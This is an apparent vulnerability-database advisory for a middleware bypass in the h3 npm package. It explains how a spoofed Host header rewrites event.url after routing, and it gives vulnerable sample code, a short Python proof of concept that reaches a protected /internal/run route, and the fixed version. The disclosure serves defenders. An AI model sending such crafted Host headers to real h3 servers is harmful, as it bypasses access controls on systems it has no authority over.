VDB
Sign up
HIGH7.4

GHSA-3vj8-jmxq-cgj5

h3 has a middleware bypass with one gadget

Quick fix

GHSA-3vj8-jmxq-cgj5 — h3: upgrade to the fixed version with the command below.

npm install h3@2.0.1-rc.15

Details

# H3 NodeRequestUrl bugs

Vulnerable pieces of code : ```js import { H3, serve, defineHandler, getQuery, getHeaders, readBody, defineNodeHandler } from "h3"; let app = new H3()

const internalOnly = defineHandler((event, next) => { const token = event.headers.get("x-internal-key");

if (token !== "SUPERRANDOMCANNOTBELEAKED") { return new Response("Forbidden", { status: 403 }); }

return next(); }); const logger = defineHandler((event, next) => { console.log("Logging : " + event.url.hostname) return next() }) app.use(logger); app.use("/internal/run", internalOnly);

app.get("/internal/run", () => { return "Internal OK"; });

serve(app, { port: 3001 }); ```

The middleware is super safe now with just a logger and a middleware to block internal access. But there's one problems here at the logger . When it log out the ```event.url``` or ```event.url.hostname``` or ```event.url._url```

It will lead to trigger one specials method

```js // _url.mjs FastURL get _url() { if (this.#url) return this.#url; this.#url = new NativeURL(this.href); this.#href = void 0; this.#protocol = void 0; this.#host = void 0; this.#pathname = void 0; this.#search = void 0; this.#searchParams = void 0; this.#pos = void 0; return this.#url; } ```

The `NodeRequestUrl` is extends from `FastURL` so when we just access ```.url``` or trying to dump all data of this class . This function will be triggered !!

And as debugging , the `this.#url` is null and will reach to this code : ```js this.#url = new NativeURL(this.href); ``` Where is the `this.href` comes from ? ```js get href() { if (this.#url) return this.#url.href; if (!this.#href) this.#href = `${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}`; return this.#href; } ``` Because the `this.#url` is still null so `this.#href` is built up by : ```js if (!this.#href) this.#href = `${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}`; ``` Yeah and this is untrusted data go . An attacker can pollute the `Host` header from requests lead overwrite the `event.url` .

# Middleware bypass What can be done with overwriting the `event.url`? Audit the code we can easily realize that the `routeHanlder` is found before running any middlewares ```js handler(event) { const route = this["~findRoute"](event); if (route) { event.context.params = route.params; event.context.matchedRoute = route.data; } const routeHandler = route?.data.handler || NoHandler; const middleware = this["~getMiddleware"](event, route); return middleware.length > 0 ? callMiddleware(event, middleware, routeHandler) : routeHandler(event); } ```

So the handleRoute is fixed but when checking with middleware it check with the **spoofed** one lead to **MIDDLEWARE BYPASS**

We have this poc : ```py import requests url = "http://localhost:3000" headers = { "Host":f"localhost:3000/abchehe?" } res = requests.get(f"{url}/internal/run",headers=headers) print(res.text) ```

This is really dangerous if some one just try to dump all the `event.url` or something that trigger `_url()` from class FastURL and need a fix immediately.

Are you affected?

Enter the version of the package you're using.

Affected packages

npm/h3
Introduced in: 2.0.0-0Fixed in: 2.0.1-rc.15
Fixnpm install h3@2.0.1-rc.15

References